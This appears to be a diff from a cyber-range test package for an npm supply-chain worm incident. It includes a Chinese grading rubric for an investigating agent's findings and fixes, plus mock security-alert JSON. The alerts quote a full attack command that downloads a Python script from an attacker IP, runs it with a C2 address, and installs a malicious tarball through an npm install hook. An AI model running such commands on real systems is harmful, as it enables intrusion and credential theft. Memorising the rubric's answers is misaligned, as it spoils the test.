- **证据**:`/opt/webapp/package-lock.json` 中 `@corp-utils/logger` 的 `resolved` 字段指向攻击机 HTTP URL
|
| 279 |
+
- **检测分**(3 分)
|
| 280 |
+
- 发现:从 package-lock.json 定位恶意包来源
|
| 281 |
+
- 证据:引用 resolved URL、版本号、integrity hash
|
| 282 |
+
- 归因:将包来源 URL 与攻击机 IP 关联
|
| 283 |
+
- **方案分**:N/A
|
| 284 |
+
- **加分项**:Agent 对比 package.json 和 package-lock.json 发现手动注入的依赖
|
| 285 |
+
|
| 286 |
+
### CHK-29:入口判定 `Q-01` `Q-04` *仅检测项*
|
| 287 |
+
- **证据**:Webhook 访问日志 + npm install 日志 + 无 SSH 暴力破解记录(蠕虫的扫描是在攻击之后)
|
| 288 |
+
- **检测分**(3 分)
|
| 289 |
+
- 发现:正确判定入口为"CI/CD Webhook 被利用 + npm 供应链投毒"
|
| 290 |
+
- 证据:引用 Nginx access.log 中 POST /api/webhook/deploy 记录、deploy.log 中 npm install 记录
|
| 291 |
+
- 归因:排除 SSH 弱密码作为初始入口(SSH 登录发生在 Phase 3,时间晚于 Webhook 调用)
|
| 292 |
+
- **方案分**:N/A
|
| 293 |
+
- **关键**:Agent 不应误判入口为 SSH 弱密码——虽然 SSH 配置确实存在弱点,但攻击链的因果关系是��� Webhook 再 SSH
|
| 294 |
+
|
| 295 |
+
### CHK-30:攻击者 IP 识别 `Q-03` *仅检测项*
|
| 296 |
+
- **证据**:Nginx access.log 中 POST /api/webhook/deploy 的源 IP;auth.log 中 SSH 登录源 IP;蠕虫代码中硬编码的 C2 地址
|
| 297 |
+
- **检测分**(3 分)
|
| 298 |
+
- 发现:识别出攻击者源 IP
|
| 299 |
+
- 证据:引用至少两个独立来源(Webhook 日志 + SSH 日志或蠕虫代码)
|
| 300 |
+
- 归因:确认同一 IP 贯穿 Webhook 调用、SSH 登录、C2 回连
|
| 301 |
+
- **方案分**:N/A(封禁方案由 CHK-39 覆盖)
|
| 302 |
+
|
| 303 |
+
### CHK-31:网络扫描行为识别 `Q-02` *仅检测项*
|
| 304 |
+
- **证据**:`/var/tmp/.npm-cache/scan_results.txt` 含扫描结果;auth.log 中可能有蠕虫发起的 SSH 尝试记录
|
| 305 |
+
- **检测分**(3 分)
|
| 306 |
+
- 发现:识别到内网 SSH 端口扫描行为
|
| 307 |
+
- 证据:引用扫描结果文件和/或 auth.log 中的异常 SSH 尝试
|
| 308 |
+
- 归因:将网络扫描与蠕虫的横向传播功能关联
|
| 309 |
+
- **方案分**:N/A
|
| 310 |
+
- **加分项**:评估扫描覆盖的网段范围和潜在传播风险
|
| 311 |
+
|
| 312 |
+
### CHK-32:凭证泄露范围评估 `Q-08` *仅检测项*
|
| 313 |
+
- **证据**:蠕虫窃取了 5 类凭证:npm token、SSH 私钥、.env 秘密、Git 凭证、bash_history 中的命令
|
| 314 |
+
- **检测分**(3 分)
|
| 315 |
+
- 发现:全面评估凭证泄露范围
|
| 316 |
+
- 证据:列出每类被窃取凭证及其业务影响
|
| 317 |
+
- 归因:指出凭证泄露可导致的二次攻击面(如 npm token 可发布恶意包、SSH 密钥可登录其他服务器)
|
| 318 |
+
- **方案分**:N/A
|
| 319 |
+
- **关键**:Agent 应评估 5 类凭证中每一类的泄露后果,而非笼统说"凭证泄露"
|
| 320 |
+
|
| 321 |
+
### CHK-33:攻击时间线重建 `Q-02` *仅检测项*
|
| 322 |
+
- **证据**:Nginx access.log(Webhook 调用)、deploy.log(npm install)、文件 ctime(蠕虫创建)、auth.log(SSH 登录)、systemd unit 创建时间
|
| 323 |
+
- **检测分**(3 分)
|
| 324 |
+
- 发现:构建出连贯的攻击时间线
|
| 325 |
+
- 证据:Webhook 调用 → npm install → 蠕虫启动 → 凭证窃取 → SSH 登录 → 挖矿部署 → 持久化
|
| 326 |
+
- 归因:将多个时间戳来源交叉关联,形成完整攻击叙事
|
| 327 |
+
- **方案分**:N/A
|
| 328 |
+
- **加分项**:Agent 注意到日志部分清理(deploy.log 中 corp-utils-logger 行被删、auth.log 部分截断)
|
| 329 |
+
|
| 330 |
+
### CHK-34:蠕虫 C2 通信模式 `Q-03` *仅检测项*
|
| 331 |
+
- **证据**:蠕虫代码中的 `/beacon` HTTP 回连路径 + `/report` 初始感染报告路径
|
| 332 |
+
- **检测分**(3 分)
|
| 333 |
+
- 发现:从蠕虫代码中提取 C2 通信协议
|
| 334 |
+
- 证据:指出 HTTP 回连 URL、数据格式(JSON)、传输内容(系统信息 + 窃取的凭证目录列表)
|
| 335 |
+
- 归因:区分 C2 回连和矿池外连是两种不同的恶意出站通信
|
| 336 |
+
- **方案分**:N/A
|
| 337 |
+
|
| 338 |
+
## 维度 5:修复闭环(5 项)
|
| 339 |
+
|
| 340 |
+
### CHK-35:恶意包移除 + npm 审计 `VUL-01`
|
| 341 |
+
- **证据**:移除恶意包后运行 npm audit
|
| 342 |
+
- **检测分**(3 分)
|
| 343 |
+
- 发现:建议运行 `npm audit` 检查其他已知漏洞
|
| 344 |
+
- 证据:说明 npm audit 的范围和局限性
|
| 345 |
+
- 归因:体现供应链安全的持续监控意识
|
| 346 |
+
- **方案分**(2 分)
|
| 347 |
+
- 正确性:给出 `npm uninstall @corp-utils/logger && npm audit`
|
| 348 |
+
- 完整性:建议配置 `npm install --ignore-scripts` 或使用 `.npmrc` 的 `ignore-scripts=true`
|
| 349 |
+
|
| 350 |
+
### CHK-36:凭证全面轮换 `BAS-03`
|
| 351 |
+
- **证据**:5 类凭证均已被窃取
|
| 352 |
+
- **检测分**(3 分)
|
| 353 |
+
- 发现:建议轮换所有已泄露的凭证
|
| 354 |
+
- 证据:列出需要轮换的具体凭证(npm token、SSH 密钥、.env 中的 DB/API/JWT/SMTP 密码、Git token)
|
| 355 |
+
- 归因:凭证泄露后不轮换等于攻击者仍持有有效访问权
|
| 356 |
+
- **方案分**(2 分)
|
| 357 |
+
- 正确性:给出每类凭证的具体轮换方法
|
| 358 |
+
- 完整性:涵盖全部 5 类,说明轮换顺序和验证方法
|
| 359 |
+
|
| 360 |
+
### CHK-37:C2 + 矿池出站封禁 `ENT-N02`
|
| 361 |
+
- **证据**:蠕虫回连 C2(攻击机 IP:8888)+ 挖矿连接矿池(pool.evil-example.invalid:4444)
|
| 362 |
+
- **检测分**(3 分)
|
| 363 |
+
- 发现:建议封禁两类恶意出站连接
|
| 364 |
+
- 证据:引用 C2 地址和矿池地址
|
| 365 |
+
- 归因:区分蠕虫 C2 和矿池是两个独立的恶意出站目标
|
| 366 |
+
- **方案分**(2 分)
|
| 367 |
+
- 正确性:给出 iptables/ufw 出站规则
|
| 368 |
+
- 完整性:包含规则持久化
|
| 369 |
+
|
| 370 |
+
### CHK-38:攻击者 IP 入站封禁 `ENT-N01`
|
| 371 |
+
- **证据**:从 Nginx 日志和 auth.log 中识别的攻击者 IP
|
| 372 |
+
- **检测分**(3 分)
|
| 373 |
+
- 发现:建议封禁攻击者入站 IP
|
| 374 |
+
- 证据:引用攻击者 IP 和多个日志来源
|
| 375 |
+
- 归因:关联到 Webhook 调用和 SSH 登录
|
| 376 |
+
- **方案分**(2 分)
|
| 377 |
+
- 正确性:给出防火墙入站拒绝规则
|
| 378 |
+
- 完整性:包含安全组/firewall 规则持久化
|
| 379 |
+
|
| 380 |
+
### CHK-39:服务重启与验证 `Q-07`
|
| 381 |
+
- **证据**:Nginx、Express webapp、SSH 在修复后应正常运行
|
| 382 |
+
- **检测分**(3 分)
|
| 383 |
+
- 发现:建议验证修复操作未影响业务服务
|
| 384 |
+
- 证据:列出需要验证的关键服务
|
| 385 |
+
- 归因:体现业务影响意识
|
| 386 |
+
- **方案分**(2 分)
|
| 387 |
+
- 正确性:列出关键服务的状态检查命令
|
| 388 |
+
- 完整性:涵盖 nginx、webapp (PM2)、sshd
|
ranges/npm-worm/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:ab896004d00edbf57a5b6e61d4deab73214dab15459a050d4e406e4b1a8c0c32
|
| 3 |
+
size 782035371
|
ranges/npm-worm/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:fcd1318688200038be3e2effd49c35535d4271f039d615cda29fdc0f3d98a10c
|
| 3 |
+
size 78
|
ranges/npm-worm/sas-mock/alerts.json
ADDED
|
@@ -0,0 +1,236 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"Advanced": false,
|
| 4 |
+
"AlarmEventName": "linux可疑命令执行",
|
| 5 |
+
"AlarmEventNameDisplay": "可疑命令执行",
|
| 6 |
+
"AlarmEventType": "进程异常行为",
|
| 7 |
+
"AlarmEventTypeDisplay": "进程异常行为",
|
| 8 |
+
"AlarmUniqueInfo": "a602556781c1c1b5edac01a943e0bf95",
|
| 9 |
+
"AutoBreaking": false,
|
| 10 |
+
"CanBeDealOnLine": false,
|
| 11 |
+
"CanCancelFault": false,
|
| 12 |
+
"ContainHwMode": false,
|
| 13 |
+
"DataSource": "aegis_suspicious_event",
|
| 14 |
+
"Desc": "检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。",
|
| 15 |
+
"Details": [
|
| 16 |
+
{
|
| 17 |
+
"NameDisplay": "提示",
|
| 18 |
+
"Type": "text",
|
| 19 |
+
"Value": "该进程的命令行异常,与正常进程有较大的区别。",
|
| 20 |
+
"ValueDisplay": "该进程的命令行异常,与正常进程有较大的区别。"
|
| 21 |
+
},
|
| 22 |
+
{
|
| 23 |
+
"NameDisplay": "告警原因",
|
| 24 |
+
"Type": "text",
|
| 25 |
+
"Value": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n ",
|
| 26 |
+
"ValueDisplay": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n "
|
| 27 |
+
},
|
| 28 |
+
{
|
| 29 |
+
"NameDisplay": "用户名",
|
| 30 |
+
"Type": "text",
|
| 31 |
+
"Value": "developer",
|
| 32 |
+
"ValueDisplay": "developer"
|
| 33 |
+
},
|
| 34 |
+
{
|
| 35 |
+
"NameDisplay": "命令行",
|
| 36 |
+
"Type": "text",
|
| 37 |
+
"Value": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &",
|
| 38 |
+
"ValueDisplay": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &"
|
| 39 |
+
},
|
| 40 |
+
{
|
| 41 |
+
"NameDisplay": "进程路径",
|
| 42 |
+
"Type": "text",
|
| 43 |
+
"Value": "-",
|
| 44 |
+
"ValueDisplay": "-"
|
| 45 |
+
},
|
| 46 |
+
{
|
| 47 |
+
"NameDisplay": "进程ID",
|
| 48 |
+
"Type": "text",
|
| 49 |
+
"Value": "1874",
|
| 50 |
+
"ValueDisplay": "1874"
|
| 51 |
+
},
|
| 52 |
+
{
|
| 53 |
+
"NameDisplay": "父进程文件路径",
|
| 54 |
+
"Type": "text",
|
| 55 |
+
"Value": "-",
|
| 56 |
+
"ValueDisplay": "-"
|
| 57 |
+
},
|
| 58 |
+
{
|
| 59 |
+
"NameDisplay": "父进程命令行",
|
| 60 |
+
"Type": "text",
|
| 61 |
+
"Value": "-",
|
| 62 |
+
"ValueDisplay": "-"
|
| 63 |
+
},
|
| 64 |
+
{
|
| 65 |
+
"NameDisplay": "父进程ID",
|
| 66 |
+
"Type": "text",
|
| 67 |
+
"Value": "1867",
|
| 68 |
+
"ValueDisplay": "1867"
|
| 69 |
+
},
|
| 70 |
+
{
|
| 71 |
+
"NameDisplay": "进程链",
|
| 72 |
+
"Type": "html",
|
| 73 |
+
"Value": "<pre><code>-[1514] PM2 v7.0.1: God Daemon (/home/developer/.pm2)\n -[1777] node /opt/webapp/server.js\n -[1853] /bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log\n -[1854] node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz\n -[1866] sh -c node scripts/setup.js\n -[1867] node scripts/setup.js\n</code></pre>\n",
|
| 74 |
+
"ValueDisplay": "<pre><code>-[1514] PM2 v7.0.1: God Daemon (/home/developer/.pm2)\n -[1777] node /opt/webapp/server.js\n -[1853] /bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log\n -[1854] node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz\n -[1866] sh -c node scripts/setup.js\n -[1867] node scripts/setup.js\n</code></pre>\n"
|
| 75 |
+
},
|
| 76 |
+
{
|
| 77 |
+
"NameDisplay": "描述",
|
| 78 |
+
"Type": "text",
|
| 79 |
+
"Value": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。",
|
| 80 |
+
"ValueDisplay": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。"
|
| 81 |
+
},
|
| 82 |
+
{
|
| 83 |
+
"NameDisplay": "处置建议",
|
| 84 |
+
"Type": "html",
|
| 85 |
+
"Value": "<ol>\n<li>首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。</li>\n<li>调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。</li>\n</ol>\n",
|
| 86 |
+
"ValueDisplay": "<ol>\n<li>首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异��行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。</li>\n<li>调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。</li>\n</ol>\n"
|
| 87 |
+
}
|
| 88 |
+
],
|
| 89 |
+
"DisplaySandboxResult": false,
|
| 90 |
+
"EventNotes": [],
|
| 91 |
+
"EventStatus": 1,
|
| 92 |
+
"EventSubType": "linux可疑命令执行",
|
| 93 |
+
"HasTraceInfo": false,
|
| 94 |
+
"Id": 713554071,
|
| 95 |
+
"InstanceId": "i-mock-npm-worm-001",
|
| 96 |
+
"InstanceName": "range-npm-worm-victim",
|
| 97 |
+
"InternetIp": "203.0.113.10",
|
| 98 |
+
"IntranetIp": "172.16.33.142",
|
| 99 |
+
"LargeModel": true,
|
| 100 |
+
"LastTime": "2026-05-07 17:31:01",
|
| 101 |
+
"LastTimeStamp": 1778146261000,
|
| 102 |
+
"Level": "serious",
|
| 103 |
+
"Name": "进程异常行为-可疑命令执行",
|
| 104 |
+
"OccurrenceTime": "2026-05-07 17:31:01",
|
| 105 |
+
"OccurrenceTimeStamp": 1778146261000,
|
| 106 |
+
"SaleVersion": "0",
|
| 107 |
+
"SecurityEventIds": "713554071",
|
| 108 |
+
"Stages": "[\"代码执行\"]",
|
| 109 |
+
"SupportOperateCode": "AI.real_attack",
|
| 110 |
+
"TacticItems": [
|
| 111 |
+
{
|
| 112 |
+
"TacticDisplayName": "代码执行",
|
| 113 |
+
"TacticId": "TA0002"
|
| 114 |
+
}
|
| 115 |
+
],
|
| 116 |
+
"UniqueInfo": "ed88d0ac0261dcef4bfa7a9f487f4abf",
|
| 117 |
+
"Uuid": "mock-uuid-npm-worm-victim"
|
| 118 |
+
},
|
| 119 |
+
{
|
| 120 |
+
"Advanced": false,
|
| 121 |
+
"AlarmEventName": "Web应用创建异常进程",
|
| 122 |
+
"AlarmEventNameDisplay": "Web应用创建异常子进程",
|
| 123 |
+
"AlarmEventType": "进程异常行为",
|
| 124 |
+
"AlarmEventTypeDisplay": "进程异常行为",
|
| 125 |
+
"AlarmUniqueInfo": "cb590ffe62265f87d2b3aecac2bfd7de",
|
| 126 |
+
"AutoBreaking": false,
|
| 127 |
+
"CanBeDealOnLine": false,
|
| 128 |
+
"CanCancelFault": false,
|
| 129 |
+
"ContainHwMode": false,
|
| 130 |
+
"DataSource": "aegis_suspicious_event",
|
| 131 |
+
"Desc": "-",
|
| 132 |
+
"Details": [
|
| 133 |
+
{
|
| 134 |
+
"NameDisplay": "告警原因",
|
| 135 |
+
"Type": "text",
|
| 136 |
+
"Value": "该web服务创建了不寻常的子进程",
|
| 137 |
+
"ValueDisplay": "该web服务创建了不寻常的子进程"
|
| 138 |
+
},
|
| 139 |
+
{
|
| 140 |
+
"NameDisplay": "用户名",
|
| 141 |
+
"Type": "text",
|
| 142 |
+
"Value": "developer",
|
| 143 |
+
"ValueDisplay": "developer"
|
| 144 |
+
},
|
| 145 |
+
{
|
| 146 |
+
"NameDisplay": "命令行",
|
| 147 |
+
"Type": "text",
|
| 148 |
+
"Value": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &",
|
| 149 |
+
"ValueDisplay": "/bin/sh -c curl -sf http://8.217.135.152:8888/ld.py -o /tmp/.ld.py && chmod 755 /tmp/.ld.py && nohup python3 /tmp/.ld.py --c2 8.217.135.152:8888 >/dev/null 2>&1 &"
|
| 150 |
+
},
|
| 151 |
+
{
|
| 152 |
+
"NameDisplay": "进程路径",
|
| 153 |
+
"Type": "text",
|
| 154 |
+
"Value": "/usr/bin/dash",
|
| 155 |
+
"ValueDisplay": "/usr/bin/dash"
|
| 156 |
+
},
|
| 157 |
+
{
|
| 158 |
+
"NameDisplay": "进程ID",
|
| 159 |
+
"Type": "text",
|
| 160 |
+
"Value": "1874",
|
| 161 |
+
"ValueDisplay": "1874"
|
| 162 |
+
},
|
| 163 |
+
{
|
| 164 |
+
"NameDisplay": "父进程命令行",
|
| 165 |
+
"Type": "text",
|
| 166 |
+
"Value": "node scripts/setup.js",
|
| 167 |
+
"ValueDisplay": "node scripts/setup.js"
|
| 168 |
+
},
|
| 169 |
+
{
|
| 170 |
+
"NameDisplay": "父进程文件路径",
|
| 171 |
+
"Type": "text",
|
| 172 |
+
"Value": "/usr/bin/node",
|
| 173 |
+
"ValueDisplay": "/usr/bin/node"
|
| 174 |
+
},
|
| 175 |
+
{
|
| 176 |
+
"NameDisplay": "父进程ID",
|
| 177 |
+
"Type": "text",
|
| 178 |
+
"Value": "1867",
|
| 179 |
+
"ValueDisplay": "1867"
|
| 180 |
+
},
|
| 181 |
+
{
|
| 182 |
+
"NameDisplay": "进程链",
|
| 183 |
+
"Type": "html",
|
| 184 |
+
"Value": "<p>-<strong>[1514]</strong> <code>PM2 v7.0.1: God Daemon (/home/developer/.pm2)</code>\n<br /> -<strong>[1777]</strong> <code>node /opt/webapp/server.js</code>\n<br /> -<strong>[1853]</strong> <code>/bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log</code>\n<br /> -<strong>[1854]</strong> <code>node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz</code>\n<br /> -<strong>[1866]</strong> <code>sh -c node scripts/setup.js</code>\n<br /> -<strong>[1867]</strong> <code>node scripts/setup.js</code></p>\n",
|
| 185 |
+
"ValueDisplay": "<p>-<strong>[1514]</strong> <code>PM2 v7.0.1: God Daemon (/home/developer/.pm2)</code>\n<br /> -<strong>[1777]</strong> <code>node /opt/webapp/server.js</code>\n<br /> -<strong>[1853]</strong> <code>/bin/sh -c echo \"[2026-05-07T09:31:00.619Z] Installing packages: http://8.217.135.152:8888/corp-utils-logger.tgz\" >> /var/log/deploy.log && cd /opt/webapp && npm install http://8.217.135.152:8888/corp-utils-logger.tgz 2>&1 | tee -a /var/log/deploy.log</code>\n<br /> -<strong>[1854]</strong> <code>node /usr/bin/npm install http://8.217.135.152:8888/corp-utils-logger.tgz</code>\n<br /> -<strong>[1866]</strong> <code>sh -c node scripts/setup.js</code>\n<br /> -<strong>[1867]</strong> <code>node scripts/setup.js</code></p>\n"
|
| 186 |
+
},
|
| 187 |
+
{
|
| 188 |
+
"NameDisplay": "提示",
|
| 189 |
+
"Type": "text",
|
| 190 |
+
"Value": "检测到Web应用程序创建了可疑的子进程",
|
| 191 |
+
"ValueDisplay": "检测到Web应用程序创建了可疑的子进程"
|
| 192 |
+
},
|
| 193 |
+
{
|
| 194 |
+
"NameDisplay": "描述",
|
| 195 |
+
"Type": "text",
|
| 196 |
+
"Value": "检测到Web应用程序创建了可疑的子进程。有可能是攻击者利用Web应用程序的漏洞执行的命令所导致的,也有可能是程序本身就会有这种行为所引起的误报。建议根据实际情况进一步判断告警的真实性。",
|
| 197 |
+
"ValueDisplay": "检测到Web应用程序创建了可疑的子进程。有可能是攻击者利用Web应用程序的漏洞执行的命令所导致的,也有可能是程序本身就会有这种行为所引起的误报。建议根据实际情况进一步判断告警的真实性。"
|
| 198 |
+
},
|
| 199 |
+
{
|
| 200 |
+
"NameDisplay": "处置建议",
|
| 201 |
+
"Type": "html",
|
| 202 |
+
"Value": "<ol>\n<li>首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。</li>\n<li>调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。</li>\n</ol>\n",
|
| 203 |
+
"ValueDisplay": "<ol>\n<li>首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。</li>\n<li>调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。</li>\n</ol>\n"
|
| 204 |
+
}
|
| 205 |
+
],
|
| 206 |
+
"DisplaySandboxResult": false,
|
| 207 |
+
"EventNotes": [],
|
| 208 |
+
"EventStatus": 1,
|
| 209 |
+
"EventSubType": "Web应用创建异常进程",
|
| 210 |
+
"HasTraceInfo": false,
|
| 211 |
+
"Id": 713460515,
|
| 212 |
+
"InstanceId": "i-mock-npm-worm-001",
|
| 213 |
+
"InstanceName": "range-npm-worm-victim",
|
| 214 |
+
"InternetIp": "203.0.113.10",
|
| 215 |
+
"IntranetIp": "172.16.33.142",
|
| 216 |
+
"LargeModel": true,
|
| 217 |
+
"LastTime": "2026-05-07 17:31:01",
|
| 218 |
+
"LastTimeStamp": 1778146261000,
|
| 219 |
+
"Level": "suspicious",
|
| 220 |
+
"Name": "进程异常行为-Web应用创建异常子进程",
|
| 221 |
+
"OccurrenceTime": "2026-05-07 17:31:01",
|
| 222 |
+
"OccurrenceTimeStamp": 1778146261000,
|
| 223 |
+
"SaleVersion": "0",
|
| 224 |
+
"SecurityEventIds": "713460515",
|
| 225 |
+
"Stages": "[\"初始入口\"]",
|
| 226 |
+
"SupportOperateCode": "AI.real_attack",
|
| 227 |
+
"TacticItems": [
|
| 228 |
+
{
|
| 229 |
+
"TacticDisplayName": "初始入口",
|
| 230 |
+
"TacticId": "TA0001"
|
| 231 |
+
}
|
| 232 |
+
],
|
| 233 |
+
"UniqueInfo": "259c659a5c0167cc7d3922347ace5477",
|
| 234 |
+
"Uuid": "mock-uuid-npm-worm-victim"
|
| 235 |
+
}
|
| 236 |
+
]
|
ranges/npm-worm/sas-mock/baselines.json
ADDED
|
@@ -0,0 +1,122 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"_comment": "SAS mock baseline data for range-npm-worm. Application-level supply-chain artifacts are primarily disk evidence; this file only keeps baseline categories relevant to the npm worm scenario.",
|
| 3 |
+
"WarningSummarys": [
|
| 4 |
+
{
|
| 5 |
+
"CheckCount": 16,
|
| 6 |
+
"CheckExploit": false,
|
| 7 |
+
"ContainerRisk": false,
|
| 8 |
+
"DatabaseRisk": false,
|
| 9 |
+
"HighWarningCount": 3,
|
| 10 |
+
"LastFoundTime": "2026-05-07 04:34:00",
|
| 11 |
+
"Level": "high",
|
| 12 |
+
"LowWarningCount": 0,
|
| 13 |
+
"MediumWarningCount": 4,
|
| 14 |
+
"RiskId": 43,
|
| 15 |
+
"RiskName": "阿里云标准-Ubuntu Linux 安全基线",
|
| 16 |
+
"SubTypeAlias": "阿里云标准-Ubuntu Linux 安全基线",
|
| 17 |
+
"TypeAlias": "最佳安全实践",
|
| 18 |
